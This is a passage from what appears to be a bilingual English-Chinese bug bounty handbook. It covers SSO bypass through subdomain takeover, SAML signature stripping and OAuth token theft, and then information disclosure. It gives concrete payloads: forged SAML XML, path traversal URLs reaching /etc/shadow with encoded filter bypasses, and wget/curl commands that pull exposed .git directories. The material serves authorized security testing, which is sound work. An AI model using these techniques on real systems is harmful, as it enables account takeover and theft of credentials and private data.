You might be able to steal cookies with the subdomain takeover if the site uses cookie-sharing SSO. Look for cookies that can be sent to multiple subdomains in the server’s responses. Shared cookies are sent with the Domain attribute specifying the parents of subdomains that can access the cookie:

如果该网站使用共享 Cookie 的单点登录（SSO）功能，并且在服务器的响应中寻找可发送到多个子域的 Cookie，则可以通过子域接管来窃取 Cookie。共享 Cookie 是通过指定可以访问该 Cookie 的子域的父域作为 Domain 属性来发送的。

Set-Cookie: cookie=abc123; Domain=example.com; Secure; HttpOnly

Then, you can log in to the legitimate site, and visit your site in the same browser. You can monitor the logs of your newly registered site to determine whether your cookies were sent to it. If the logs of your newly registered site receive your cookies, you have found a subdomain takeover that can be used to steal cookies!

然后，您可以登录到合法网站，并在同一浏览器中访问您的网站。您可以监视您新注册的网站的日志，以确定是否将您的Cookie发送到该网站。如果您新注册的网站的日志接收到您的Cookie，则表示您发现了可以用来窃取Cookie的子域接管！

Even if the subdomain takeover you’ve found cannot be used to steal shared-session cookies, it is still considered a vulnerability. Subdomain takeovers can be used to launch phishing attacks on a site’s users, so you should still report them to the organization!

即使您找到的子域接管不能用于窃取共享会话Cookie，它仍被视为漏洞。 子域接管可以用于对网站用户发起钓鱼攻击，因此您仍应向组织报告它们！

Monitoring for Subdomain Takeovers

Instead of manually hunting for subdomain takeovers, many hackers build a monitoring system to continuously scan for them. This is useful because sites update their DNS entries and remove pages from third-party sites all the time. You never know when a site is going to be taken down and when a new dangling CNAME will be introduced into your target’s assets. If these changes lead to a subdomain takeover, you can find it before others do by routinely scanning for takeovers.

许多黑客不再手动搜索子域劫持，而是建立一个监控系统来持续扫描。这非常有用，因为网站会不断更新其DNS条目，并从第三方网站中移除页面。你永远不知道网站何时会被关闭，何时会引入新的悬空CNAME到你的目标资产中。如果这些变化导致了子域劫持，你可以通过定期扫描寻找劫持，比其他人更早发现它。

To create a continuous monitoring system for subdomain takeovers, you’ll simply need to automate the process I described for finding them manually. In this section, I’ll introduce some automation strategies and leave the actual implementation up to you:

要创建一个持续的子域接管监控系统，您只需要自动化我手动搜索它们的过程。在本节中，我将介绍一些自动化策略，实际实现则由您来完成。

Compile a list of subdomains that belong to the target organization

编制属于目标组织的子域名列表。

Scan the target for new subdomains once in a while to monitor for new subdomains. Whenever you discover a new service, add it to this list of monitored subdomains.

定期扫描目标，以监测新的子域名。每当发现新的服务时，请将其添加到受监控的子域名列表中。

Scan for subdomains on the list with CNAME entries that point to pages hosted on a vulnerable third-party service

扫描列表上的子域名，这些子域名具有CNAME条目，指向托管在漏洞的第三方服务上的页面。

To do this, you’ll need to resolve the base DNS domain of the subdomain and determine if it’s hosted on a third-party provider based on keywords in the URL. For example, a subdomain that points to a URL that contains the string github.io is hosted on GitHub Pages. Also determine whether the third-party services you’ve found are vulnerable to takeovers. If the target’s sites are exclusively hosted on services that aren’t vulnerable to subdomain takeovers, you don’t have to scan them for potential takeovers.

为了实现这一点，您需要解析子域的基本DNS域，并根据URL中的关键字确定它是否托管在第三方提供商上。例如，指向包含字符串github.io的URL的子域将托管在GitHub Pages上。还要确定您找到的第三方服务是否容易被接管。如果目标站点仅托管在不易受子域接管攻击的服务上，您无需扫描它们以寻找潜在的接管攻击。

Determine the signature of an unregistered page for each external service

为每个外部服务确定未注册页面的签名。

Most services will have a custom 404 Not Found page that indicates the page isn’t registered. You can use these pages to detect a potential takeover. For example, a page that is hosted on GitHub pages is vulnerable if the string There isn't a GitHub Pages site here is returned in the HTTP response. Make a request to the third-party hosted subdomains and scan the response for these signature strings. If one of the signatures is detected, the page might be vulnerable to takeover.

大多数服务都将拥有定制的404页面，指示网页未注册。您可以使用这些页面来检测潜在的接管。例如，在Github页面上托管的页面如果返回HTTP响应中的字符串"There isn't a GitHub Pages site here"是容易受攻击的。请求第三方托管的子域并扫描响应以检查这些签名字符串。如果检测到其中一个签名，那么这个页面可能容易被接管。

One way of making this hunting process even more efficient is to let your automation solution run in the background, notifying you only after it finds a suspected takeover. You can set up a cron job to run the script you’ve created regularly. It can alert you only if the monitoring system detects something fishy:

让自动化解决方案在后台运行并在发现可疑接管后通知您，是进一步提高狩猎过程效率的一种方式。您可以设置 cron 作业定期运行创建的脚本。只有在监控系统检测到可疑情况时，它才会向您发出警报。

30 10 * * * cd /Users/vickie/scripts/security; ./subdomain_takeover.sh

After the script notifies you of a potential subdomain takeover, you can verify the vulnerability by registering the page on the external service.

脚本通知您可能存在子域劫持的情况后，您可以通过在外部服务上注册页面来验证漏洞。

Hunting for SAML Vulnerabilities

Now let’s discuss how you can find faulty SAML implementations and use them to bypass your target’s SSO access controls. Before you dive in, be sure to confirm that the website is indeed using SAML. You can figure this out by intercepting the traffic used for authenticating to a site and looking for XML-like messages or the keyword saml . Note that SAML messages aren’t always passed in plain XML format. They might be encoded in base64 or other encoding schemes.

现在让我们讨论如何找到有缺陷的 SAML 实现，并使用它们绕过目标的SSO访问控制。在深入研究之前，请务必确认网站确实在使用 SAML。您可以通过拦截用于身份验证站点的流量，并查找类似于 XML 的消息或关键字 SAML 来弄清楚。请注意，SAML 消息并不总是以纯 XML 格式传递。它们可能会以 base64 或其他编码方案进行编码。

Step 1: Locate the SAML Response

First and foremost, you need to locate the SAML response. You can usually do this by intercepting the requests going between the browser and the service provider using a proxy. The SAML response will be sent when the user’s browser is logging into a new session for that particular service provider.

首先，您需要定位SAML响应。您通常可以通过使用代理截获浏览器和服务提供商之间的请求来完成此操作。当用户的浏览器登录该特定服务提供商的新会话时，将发送SAML响应。

Step 2: Analyze the Response Fields

Once you’ve located the SAML response, you can analyze its content to see which fields the service provider uses for determining the identity of the user. Since the SAML response is used to relay authentication data to the service provider, it must contain fields that communicate that information. For example, look for field names like username , email address , userID , and so on. Try tampering with these fields in your proxy. If the SAML message lacks a signature, or if the signature of the SAML response isn’t verified at all, tampering with the message is all you need to do to authenticate as someone else!

一旦找到了 SAML 响应，您可以分析其内容，看看服务提供商用于确定用户身份的哪些字段。由于 SAML 响应用于将认证数据传递给服务提供商，因此必须包含传达该信息的字段。例如，查找字段名称，例如用户名、电子邮件地址、用户 ID 等。尝试在代理中篡改这些字段。如果 SAML 消息缺少签名，或者根本不验证 SAML 响应的签名，则篡改消息就足以作为其他人进行认证！

Step 3: Bypass the Signature

If the SAML message you’re tampering with does have a signature, you can try a few strategies to bypass it.

如果你篡改的SAML消息具有签名，你可以尝试一些策略来绕过它。

If the signatures are verified only when they exist, you could try removing the signature value from the SAML response. Sometimes this is the only action required to bypass security checks. You can do this in two ways. First, you can empty the signature field:

如果只有存在签名时才会验证签名，您可以尝试从SAML响应中删除签名值。有时这是绕过安全检查所必需的唯一操作。您可以用两种方式来实现。首先，您可以清空签名字段：

<saml:Signature>
  <saml:SignatureValue>

  </saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
  <saml:Attribute Name="username">
    <saml:AttributeValue>
      victim_user
    </saml:AttributeValue>
  </saml:Attribute>
</saml:AttributeStatement>

Or you can try removing the field entirely:

或者你可以尝试完全删除该字段：

<saml:AttributeStatement>
  <saml:Attribute Name="username">
    <saml:AttributeValue>
      victim_user
    </saml:AttributeValue>
  </saml:Attribute>
</saml:AttributeStatement>

If the SAML response signature used by the application is predictable, like the base64 example we discussed earlier, you can simply recalculate the signature and forge a valid SAML response.

如果应用程序使用的 SAML 响应签名是可预测的，就像我们之前讨论的 base64 示例一样，您可以简单地重新计算签名并伪造一个有效的 SAML 响应。

Step 4: Re-encode the Message

After tampering with the SAML response, re-encode the message into its original form and send it back to the service provider. The service provider will use that information to authenticate you to the service. If you’re successful, you can obtain a valid session that belongs to the victim’s account. SAML Raider is a Burp Suite extension that can help you with editing and re-encoding SAML messages.

篡改 SAML 响应后，重新编码消息并将其发送回服务提供商。服务提供商将使用该信息来对您进行身份验证。如果成功，则可以获得属于受害者帐户的有效会话。SAML Raider 是一个 Burp Suite 扩展，可以帮助您编辑和重新编码 SAML 消息。

Hunting for OAuth Token Theft

Before you dive into hunting for OAuth open redirect issues, you should first determine whether the website is using OAuth. You can figure this out by intercepting the requests to complete authentication on the website and look for the oauth keyword in the HTTP messages.

在你深入挖掘OAuth重定向问题之前，你应该先确定该网站是否正在使用OAuth。你可以通过拦截完整身份验证请求并查看HTTP消息中的oauth关键字来确定这一点。

Then start looking for open redirect vulnerabilities. You can find details on how to find open redirects in Chapter 7 . Finally, see if you can smuggle the OAuth tokens offsite by using one of the open redirects that you’ve found.

然后开始寻找开放重定向漏洞。您可以在第七章中找到有关如何查找开放重定向的详细信息。最后，通过使用您找到的其中一个开放重定向，查看是否可以窃取OAuth令牌到外部网站。

Escalating the Attack

SSO bypass usually means that attackers can take over the accounts of others. Therefore, these vulnerabilities are of high severity before any escalation attempts. But you can escalate SSO bypass vulnerabilities by attempting to take over accounts with high privileges, such as admin accounts.

SSO绕过通常意味着攻击者可以接管他人的帐户。因此，在任何升级尝试之前，这些漏洞的严重程度非常高。但是，您可以通过尝试接管高特权帐户（例如管理员帐户）来升级SSO绕过漏洞。

Also, after you’ve taken over the user’s account on one site, you can try to access the victim’s account on other sites by using the same OAuth credentials. For instance, if you can leak an employee’s cookies via subdomain takeover, see if you can access their company’s internal services such as admin panels, business intelligence systems, and HR applications with the same credentials.

此外，在接管了一个站点上的用户帐户后，您可以尝试使用相同的OAuth凭据访问受害者在其他站点上的帐户。例如，如果您可以通过子域接管泄漏员工的cookie，请尝试使用相同的凭据访问其公司的内部服务，如管理员面板、商业智能系统和人力资源应用程序。

You can also escalate account takeovers by writing a script to automate the takeover of large numbers of accounts. Finally, you can try to leak data, execute sensitive actions, or take over the application by using the accounts that you have taken over. For example, if you can bypass the SSO on a banking site, can you read private information or transfer funds illegally? If you can take over an admin account, can you change application settings or execute scripts as the admin? Again, proceed with caution and never test anything unless you have obtained permission.

你也可以编写脚本自动接管大量账户，以提高账户接管的效率。最后，你可以使用接管的账户试图泄露数据、执行敏感操作或接管应用程序。例如，如果你可以绕过银行网站的SSO，你能查看私人信息或非法转账吗？如果你能够接管管理员账户，你能够更改应用程序设置或作为管理员执行脚本吗？再次强调，必须谨慎行事，除非你已获得许可，否则不要测试任何东西。

Finding Your First SSO Bypass!

Now that you are familiar with a few SSO bypass techniques, try to find your first SSO bypass bug:

既然你已经熟悉了一些SSO绕过技术，现在尝试寻找你的第一个SSO绕过漏洞吧。

If the target application is using single sign-on, determine the SSO mechanism in use.

If the application is using shared session cookies, try to steal session cookies by using subdomain takeovers.

If the application uses a SAML-based SSO scheme, test whether the server is verifying SAML signatures properly.

If the application uses OAuth, try to steal OAuth tokens by using open redirects.

Submit your report about SSO bypass to the bug bounty program!

21
Information Disclosure

The IDOR vulnerabilities covered in Chapter 10 are a common way for applications to leak private information about users. But an attacker can uncover sensitive information from a target application in other ways too. I call these bugs information disclosure bugs. These bugs are common; in fact, they’re the type of bug I find most often while bug bounty hunting, even when I’m searching for other bug types.

本书第10章提到的IDOR漏洞是应用程序泄露用户私人信息的常见途径。但攻击者也可以通过其他方式获取目标应用程序的敏感信息。我将这些漏洞称为信息披露漏洞。这些漏洞很常见，事实上，它们是我在赏金猎人活动中最常发现的缺陷类型，即使我在寻找其他类型的缺陷时也是如此。

These bugs can happen in many ways, depending on the application. In this chapter, we’ll talk about a few ways you might manage to leak data from an application, and how you can maximize the chances of finding an information disclosure yourself. This chapter delves into some of the techniques mentioned in Chapter 5 , but with a focus on extracting sensitive and private information by using these techniques.

这些漏洞可能因应用程序的不同而发生。本章中，我们将讨论从应用程序泄露数据的一些方法，并介绍如何最大化发现信息泄露的机会。本章深入探讨了第5章提到的一些技术，但重点关注如何使用这些技术提取敏感和私人信息。

Mechanisms

Information disclosure occurs when an application fails to properly protect sensitive information, giving users access to information they shouldn’t have available to them. This sensitive information can include technical details that aid an attack, like software version numbers, internal IP addresses, sensitive filenames, and filepaths. It could also include source code that allows attackers to conduct a source code review on the application. Still other times, the application leaks private information of users, like a user’s age, bank account numbers, email addresses, and mailing addresses, to unauthorized third parties.

信息泄露发生在应用程序未能正确保护敏感信息时，使用户可以访问他们不应该拥有的信息。这些敏感信息可能包括技术详细信息，如软件版本号、内部IP地址、敏感文件名和文件路径。它还可能包括源代码，使攻击者可以对应用程序进行源代码审查。有时，应用程序还会泄漏用户的私人信息，例如用户的年龄、银行帐户号码、电子邮件地址和邮寄地址，传递给未经授权的第三方。

Most systems aim to hide development information, including software version numbers and configuration files, from the outside world, because it allows attackers to gather information about an application and strategize about how to most effectively attack it. For example, learning the exact software versions an application uses will allow attackers to look for publicly disclosed vulnerabilities that affect the application. Configuration files often contain information such as access tokens and internal IP addresses that attackers can use to further compromise the organization.

大多数系统的目标是隐藏开发信息，包括软件版本号和配置文件，以防止攻击者收集关于应用程序的信息并制定如何最有效地攻击它的策略。例如，了解应用程序使用的确切软件版本将使攻击者寻找影响该应用程序的公开披露的漏洞。配置文件通常包含访问令牌和内部IP地址等信息，攻击者可以使用它们来进一步破坏组织。

Typically, applications leak version numbers in HTTP response headers, HTTP response bodies, or other server responses. For example, the X-Powered-By header, which is used by many applications, shows you which framework the application runs:

通常，应用程序会在HTTP响应头，HTTP响应正文或其他服务器响应中泄漏版本号。例如，许多应用程序使用的X-Powered-By头会向您显示应用程序运行的框架：

X-Powered-By: PHP/5.2.17

On the other hand, applications leak sensitive configuration files by not applying proper access control to the files, or by accidentally uploading a sensitive file onto a public repository that outside users can access.

另一方面，应用程序通过未对文件应用适当的访问控制或意外地将敏感文件上传到外部用户可以访问的公共存储库中而泄漏敏感配置文件。

Another piece of information that applications should protect is their source code. When the backend code of an application is leaked to the public, the leaked code can help attackers understand the application’s logic, as well as search for logic flaw vulnerabilities, hardcoded credentials, or information about the company’s infrastructure, such as internal IPs. Applications can leak source code by accidentally publishing a private code repository, by sharing code snippets on public GitHub or GitLab repositories, or by uploading it to third-party sites like Pastebin.

应用程序应该保护的另一个信息是它们的源代码。当应用程序的后端代码泄露给公众时，泄露的代码可以帮助攻击者理解应用程序的逻辑，并搜索逻辑漏洞漏洞，硬编码凭据或有关公司基础架构的信息，例如内部IP。应用程序可能会通过意外发布私有代码存储库，通过在公共GitHub或GitLab存储库上共享代码片段，或通过将其上传到Pastebin等第三方站点来泄漏源代码。

Finally, applications often leak sensitive information by including it in their public code. Developers might accidentally place information such as credentials, internal IP addresses, informative code comments, and users’ private information in public source code such as the HTML and JavaScript files that get served to users.

应用程序经常通过将敏感信息包含在其公共代码中泄漏。开发人员可能会意外地将信息（例如凭据、内部IP地址、信息性代码注释和用户的私人信息）放在公共源代码中，例如提供给用户的HTML和JavaScript文件中。

Prevention

It’s difficult to completely prevent sensitive information leaks. But you can reliably lower the possibilities of information disclosure by safeguarding your data during the development process.

完全阻止敏感信息泄露是困难的。但你可以通过在开发过程中保护数据，可靠地降低信息泄露的可能性。

The most important measure you should take is to avoid hardcoding credentials and other sensitive information into executable code. Instead, you can place sensitive information in separate configuration files or a secret storage system like Vault ( https://github.com/hashicorp/vault/ ). Also, audit your public code repositories periodically to make sure sensitive files haven’t been uploaded by accident. Tools can help you monitor code for secrets, such as secret-bridge ( https://github.com/duo-labs/secret-bridge/ ). And if you have to upload sensitive files to the production server, apply granular access control to restricts users’ access to the files.

你应该采取的最重要的措施是避免将凭据和其他敏感信息硬编码到可执行代码中。相反，可以将敏感信息放在单独的配置文件或像Vault（https://github.com/hashicorp/vault/）这样的秘密存储系统中。另外，定期审核公共代码库，以确保敏感文件没有被意外上传。工具可以帮助您监视包含秘密的代码，例如secret-bridge（https://github.com/duo-labs/secret-bridge/）。如果您必须上传敏感文件到生产服务器，则应用精细的访问控制以限制用户对文件的访问。

Next, remove data from services and server responses that reveals technical details about the backend server setup and software versions. Handle all exceptions by returning a generic error page to the user, instead of a technical page that reveals details about the error.

接下来，要从服务和服务器响应中移除透露后端服务器设置和软件版本的技术细节数据。处理所有异常情况时，向用户返回通用的错误页面，而不是一个透露错误详细信息的技术页面。

Hunting for Information Disclosure

You can use several strategies to find information disclosure vulnerabilities, depending on the application you’re targeting and what you’re looking for. A good starting point is to look for software version numbers and configuration information by using the recon techniques introduced in Chapter 5 . Then you can start to look for exposed configuration files, database files, and other sensitive files uploaded to the production server that aren’t protected. The following steps discuss some techniques you can attempt.

您可以使用多种策略来查找信息披露漏洞，具体取决于您的目标应用程序和您正在寻找的内容。一个好的起点是通过使用第5章中介绍的侦察技术来查找软件版本号和配置信息。然后，您可以开始寻找未受保护的暴露的配置文件、数据库文件和其他敏感文件上传到生产服务器上。以下步骤讨论您可以尝试的一些技巧。

Step 1: Attempt a Path Traversal Attack

Start by trying a path traversal attack to read the server’s sensitive files. Path traversal attacks are used to access files outside the web application’s root folder. This process involves manipulating filepath variables the application uses to reference files by adding the ../ characters to them. This sequence refers to the parent directory of the current directory in Unix systems, so by adding it to a filepath, you can often reach files outside the web root.

尝试路径遍历攻击来读取服务器的敏感文件。路径遍历攻击用于访问网站应用程序根文件夹之外的文件。此过程涉及操作应用程序用于引用文件的文件路径变量，通过向其中添加 ../ 字符来实现。在Unix系统中这个序列代表当前目录的父目录，因此通过在文件路径中添加它，通常可以访问网站根目录之外的文件。

For example, let’s say a website allows you to load an image in the application’s image folder by using a relative URL. An absolute URL contains an entire address, from the URL protocol to the domain name and pathnames of the resource. Relative URLs, on the other hand, contain only a part of the full URL. Most contain only the path or filename of the resource. Relative URLs are used to link to another location on the same domain.

例如，假设一个网站允许您使用相对 URL 将图片加载到应用程序的图片文件夹中。绝对 URL 包含整个地址，从 URL 协议到域名和资源的路径名。相对 URL，则仅包含完整 URL 的一部分。大多数仅包含资源的路径或文件名。相对 URL 用于链接到同一域上的另一个位置。

This URL, for example, will redirect users to https://example.com/images/1.png :

例如，此URL将重定向用户到https://example.com/images/1.png：

 https://example.com/image?url=/images/1.png

In this case, the url parameter contains a relative URL ( /images/1.png ) that references files within the web application root. You can insert the ../ sequence to try to navigate out of the images folder and out of the web root. For instance, the following URL refers to the index.html file at the web application’s root folder (and out of the images folder):

在这种情况下，URL参数包含一个相对URL（/images/1.png），它引用了Web应用程序根目录中的文件。您可以插入../序列尝试导航出图像文件夹并从Web根导航出来。例如，以下URL引用Web应用程序根文件夹（并退出图像文件夹）中的index.html文件：

https://example.com/image?url=/images/../index.html

Similarly, this one will access the /etc/shadow file at the server’s root directory, which is a file that stores a list of the system’s user accounts and their encrypted passwords:

类似地，这个程序将访问位于服务器根目录下的 /etc/shadow 文件，该文件存储了系统用户账户及其加密密码的列表。

https://example.com/image?url=/images/../../../../../../../etc/shadow

It might take some trial and error to determine how many ../ sequences you need to reach the system’s root directory. Also, if the application implements some sort of input validation and doesn’t allow ../ in the filepath, you can use encoded variations of ../ , such as %2e%2e%2f (URL encoding), %252e%252e%255f (double URL encoding), and ..%2f (partial URL encoding).

确定需要多少../序列才能到达系统的根目录可能需要一些尝试和错误。此外，如果应用程序实现了某种输入验证并且不允许在文件路径中使用../，您可以使用编码的../变体，例如%2e%2e%2f（URL编码），%252e%252e%255f（双重URL编码）和..%2f（部分URL编码）。

Step 2: Search the Wayback Machine

Another way to find exposed files is by using the Wayback Machine. Introduced in Chapter 5 , the Wayback Machine is an online archive of what websites looked like at various points in time. You can use it to find hidden and deprecated endpoints, as well as large numbers of current endpoints without actively crawling the site, making it a good first look into what the application might be exposing.

另一种查找暴露文件的方法是使用Wayback Machine。Wayback Machine 是一个在线网站归档，可以让你查看网站在不同时间点的外观。你可以使用它来查找隐藏和弃用的端点，以及大量当前端点，而不必主动遍历网站，因此是一个很好的第一步，了解应用程序可能暴露的内容。

On the Wayback Machine’s site, simply search for a domain to see its past versions. To search for a domain’s files, visit https://web.archive.org/web/*/DOMAIN .

在Wayback Machine的网站上，只需搜索域名即可查看其过去的版本。要搜索域名的文件，请访问 https://web.archive.org/web/*/DOMAIN。

Add a /* to this URL to get the archived URLs related to the domain as a list. For example, https://web.archive.org/web/*/example.com/* will return a list of URLs related to example.com . You should see the URLs displayed on the Wayback Machine web page ( Figure 21-1 ).

在URL末尾添加 /*，以获得与该域名相关的归档URL列表。例如，https://web.archive.org/web/*/example.com/* 将返回与example.com相关的URL列表。您应该可以在Wayback Machine网页上看到显示的URL（图21-1）。

Figure 21-1 : You can list the archived URLs of a domain on the Wayback Machine.

图21-1：您可以在Wayback Machine上列出一个域名的存档URL。

You can then use the search function to see whether any sensitive pages have been archived. For example, to look for admin pages, search for the term /admin in the found URLs ( Figure 21-2 ).

然后您可以使用搜索功能查看是否已存档任何敏感页面。例如，要查找管理页面，请在找到的URL中搜索"/admin"一词（图21-2）。

Figure 21-2 : Search for keywords in the URLs to find potentially sensitive pages.

图21-2：在URL中搜索关键字以查找潜在的敏感页面。

You can also search for backup files and configuration files by using common file extensions like .conf ( Figure 21-3 ) and .env , or look for source code, like JavaScript or PHP files, by using the file extensions .js and .php .

您也可以通过使用常见的文件扩展名，例如.conf（见图21-3）和.env搜索备份文件和配置文件，或通过使用文件扩展名.js和.php查找源代码，如JavaScript或PHP文件。

Figure 21-3 : Filter the URLs by file extension to find files of a certain type.

图21-3：通过文件扩展名过滤URL，以查找特定类型的文件。

Download interesting archived pages and look for any sensitive info. For example, are there any hardcoded credentials that are still in use, or does the page leak any hidden endpoints that normal users shouldn’t know about?

下载有趣的归档页面，查找任何敏感信息。例如，是否存在仍在使用的硬编码凭据，或者页面是否泄漏了正常用户不应该知道的隐藏端点？

Step 3: Search Paste Dump Sites

Next, look into paste dump sites like Pastebin and GitHub gists. These let users share text documents via a direct link rather than via email or services like Google Docs, so developers often use them to send source code, configuration files, and log files to their coworkers. But on a site like Pastebin, for example, shared text files are public by default. If developers upload a sensitive file, everyone will be able to read it. For this reason, these code-sharing sites are pretty infamous for leaking credentials like API keys and passwords.

下一步，查看类似Pastebin和GitHub gist的粘贴转储站点。这些允许用户通过直接链接共享文本文档，而不是通过电子邮件或像Google Docs这样的服务，因此开发人员经常使用它们向同事发送源代码、配置文件和日志文件。但是，在像Pastebin这样的网站上，共享的文本文件默认情况下是公开的。如果开发人员上传敏感文件，每个人都可以阅读它。因此，这些代码共享站点因泄漏API密钥和密码等凭据而相当臭名昭著。

Pastebin has an API that allows users to search for public paste files by using a keyword, email, or domain name. You can use this API to find sensitive files that belong to a certain organization. Tools like PasteHunter or pastebin-scraper can also automate the process. Pastebin-scraper ( https://github.com/streaak/pastebin-scraper/ ) uses the Pastebin API to help you search for paste files. This tool is a shell script, so download it to a local directory and run the following command to search for public paste files associated with a particular keyword. The -g option indicates a general keyword search:

Pastebin有一个API，允许用户使用关键词、电子邮件或域名搜索公共粘贴文件。您可以使用此API来查找属于某个组织的敏感文件。像PasteHunter或pastebin-scraper这样的工具也可以自动化这个过程。Pastebin-scraper (https://github.com/streaak/pastebin-scraper/) 使用Pastebin API 来帮助您搜索粘贴文件。这个工具是一个shell脚本，因此请将其下载到本地目录并运行以下命令来搜索与特定关键词相关的公共粘贴文件。-g选项表示常规关键词搜索：

./scrape.sh -g KEYWORD

This command will return a list of Pastebin file IDs associated with the specified KEYWORD . You can access the returned paste files by going to pastebin.com/ID .

此命令将返回与指定关键字相关联的Pastebin文件ID列表。您可以通过前往pastebin.com/ID来访问返回的粘贴文件。

Step 4: Reconstruct Source Code from an Exposed .git Directory

Another way of finding sensitive files is to reconstruct source code from an exposed .git directory. When attacking an application, obtaining its source code can be extremely helpful for constructing an exploit. This is because some bugs, like SQL injections, are way easier to find through static code analysis than black-box testing. Chapter 22 covers how to review code for vulnerabilities.

另一种发现敏感文件的方法是从公开的.git目录中重构源代码。在攻击应用程序时，获取其源代码对于构建攻击非常有帮助。这是因为某些漏洞，比如SQL注入，通过静态代码分析比黑盒测试容易找到。第22章介绍了如何查找漏洞的代码审查方法。

When a developer uses Git to version-control a project’s source code, Git will store all of the project’s version-control information, including the commit history of project files, in a Git directory. Normally, this .git folder shouldn’t be accessible to the public, but sometimes it’s accidentally made available. This is when information leaks happen. When a .git directory is exposed, attackers can obtain an application’s source code and therefore gain access to developer comments, hardcoded API keys, and other sensitive data via secret scanning tools like truffleHog ( https://github.com/dxa4481/truffleHog/ ) or Gitleaks ( https://github.com/zricethezav/gitleaks/ ).

当开发人员使用Git对项目的源代码进行版本控制时，Git将存储所有项目版本控制信息，包括项目文件的提交历史记录在一个Git目录中。通常情况下，这个.git文件夹不应该对公众可访问，但有时它会被意外地暴露。这是信息泄漏发生的时候。当.git目录暴露时，攻击者可以获取应用程序的源代码，并因此通过类似truffleHog(https://github.com/dxa4481/truffleHog/)或Gitleaks(https://github.com/zricethezav/gitleaks/)的秘密扫描工具获得开发人员的注释，硬编码的API密钥和其他敏感数据。

Checking Whether a .git Folder Is Public

To check whether an application’s .git folder is public, simply go to the application’s root directory (for example, example.com ) and add /.git to the URL:

要检查一个应用程序的 .git 文件夹是否公开，只需进入应用程序的根目录（例如，example.com），并在 URL 后面添加 /.git：

https://example.com/.git

Three things could happen when you browse to the /.git directory. If you get a 404 error, this means the application’s .git directory isn’t made available to the public, and you won’t be able to leak information this way. If you get a 403 error, the .git directory is available on the server, but you won’t be able to directly access the folder’s root, and therefore won’t be able to list all the files contained in the directory. If you don’t get an error and the server responds with the directory listing of the .git directory, you can directly browse the folder’s contents and retrieve any information contained in it.

当你浏览/.git目录时有三种可能性。如果你获得404错误，这意味着应用程序的.git目录没有对公众开放，因此你将无法通过此方式泄露信息。如果你获得403错误，.git目录在服务器上是可以访问的，但你将无法直接访问该文件夹的根目录，因此无法列出目录中包含的所有文件。如果你没有收到错误，并且服务器响应了.git目录的目录列表，则可以直接浏览文件夹的内容并检索其包含的任何信息。

Downloading Files

If directory listing is enabled, you can browse through the files and retrieve the leaked information. The wget command retrieves content from web servers. You can use wget in recursive mode ( -r ) to mass-download all files stored within the specified directory and its subdirectories:

如果启用目录列表，您可以浏览文件并检索泄露的信息。 Wget命令从Web服务器检索内容。 您可以在递归模式（-r）中使用wget以批量下载指定目录及其子目录中存储的所有文件：

$ wget -r example.com/.git

But if directory listing isn’t enabled and the directory’s files are not shown, you can still reconstruct the entire .git directory. First, you’ll need to confirm that the folder’s contents are indeed available to the public. You can do this by trying to access the directory’s config file:

但是，如果目录列表未启用且目录文件未显示，则仍可以重建整个.git目录。首先，您需要确认该文件夹的内容确实对公众开放。您可以通过尝试访问目录的配置文件来实现此目的：

$ curl https://example.com/.git/config

If this file is accessible, you might be able to download the Git directory’s entire contents so long as you understand the general structure of .git directories. A .git directory is laid out in a specific way. When you execute the following command in a Git repository, you should see contents resembling the following:

如果可以访问此文件，只要您理解.git目录的一般结构，就可以下载Git目录的全部内容。.git目录有特定的排列方式。在Git存储库中执行以下命令时，您应该会看到类似以下内容的内容：

$ ls .git
COMMIT_EDITMSG HEAD branches config description hooks index info logs objects refs

The output shown here lists a few standard files and folders that are important for reconstructing the project’s source. In particular, the /objects directory is used to store Git objects. This directory contains additional folders; each has two character names corresponding to the first two characters of the SHA1 hash of the Git objects stored in it. Within these subdirectories, you’ll find files named after the rest of the SHA1 hash of the Git object stored in it. In other words, the Git object with a hash of 0a082f2656a655c8b0a87956c7bcdc93dfda23f8 will be stored with the filename of 082f2656a655c8b0a87956c7bcdc93dfda23f8 in the directory .git/objects/0a . For example, the following command will return a list of folders:

这里显示的输出列出了一些重建项目源的重要标准文件和文件夹。 特别是/objects目录用于存储Git对象。 该目录包含其他文件夹; 每个文件夹都有两个字符的名称，对应于其中存储的Git对象的SHA1哈希的前两个字符。 在这些子目录中，您将找到以其余SHA1哈希命名的文件，这些文件存储在其中的Git对象。 换句话说，具有哈希值0a082f2656a655c8b0a87956c7bcdc93dfda23f8的Git对象将使用文件名082f2656a655c8b0a87956c7bcdc93dfda23f8存储在目录.git / objects / 0a中。 例如，以下命令将返回文件夹列表：

$ ls .git/objects
00 0a 14 5a 64 6e 82 8c 96 a0 aa b4 be c8 d2 dc e6 f0 fa info pack

And this command will reveal the Git objects stored in a particular folder:

这个命令将显示在特定文件夹中存储的Git对象。

$ ls .git/objects/0a
082f2656a655c8b0a87956c7bcdc93dfda23f8 4a1ee2f3a3d406411a72e1bea63507560092bd 66452433322af3d319a377415a890c70bbd263 8c20ea4482c6d2b0c9cdaf73d4b05c2c8c44e9 ee44c60c73c5a622bb1733338d3fa964b333f0
0ec99d617a7b78c5466daa1e6317cbd8ee07cc 52113e4f248648117bc4511da04dd4634e6753 72e6850ef963c6aeee4121d38cf9de773865d8

Git stores different types of objects in . git/objects : commits, trees, blobs, and annotated tags. You can determine an object’s type by using this command:

Git将不同类型的对象存储在.git/objects中：提交、树、blob和注释标签。您可以使用此命令确定对象的类型：

$ git cat-file -t OBJECT-HASH

Commit objects store information such as the commit’s tree object hash, parent commit, author, committer, date, and message of a commit. Tree objects contain the directory listings for commits. Blob objects contain copies of files that were committed (read: actual source code!). Finally, tag objects contain information about tagged objects and their associated tag names. You can display the file associated with a Git object by using the following command:

提交对象储存提交的树对象哈希，父提交、作者、提交者、日期以及提交信息等信息。树对象包含提交的目录清单。Blob对象包含已提交的文件的副本（也就是源代码！）。最后，标签对象包含有关已标记的对象及其相关标签名称的信息。您可以使用以下命令显示与Git对象关联的文件：

$ git cat-file -p OBJECT-HASH

The /config file is the Git configuration file for the project, and the /HEAD file contains a reference to the current branch:

/config 文件是该项目的 Git 配置文件，/HEAD 文件包含对当前分支的引用：

$ cat .git/HEAD
ref: refs/heads/master

If you can’t access the /.git folder’s directory listing, you have to download each file you want instead of recursively downloading from the directory root. But how do you find out which files on the server are available when object files have complex paths, such as .git/objects/0a/72e6850ef963c6aeee4121d38cf9de773865d8 ?

如果您无法访问/.git文件夹的目录列表，您必须下载想要的每个文件，而不是从目录根递归下载。但是，当对象文件具有复杂路径时，例如.git/objects/0a/72e6850ef963c6aeee4121d38cf9de773865d8，您如何找出服务器上可用的文件？

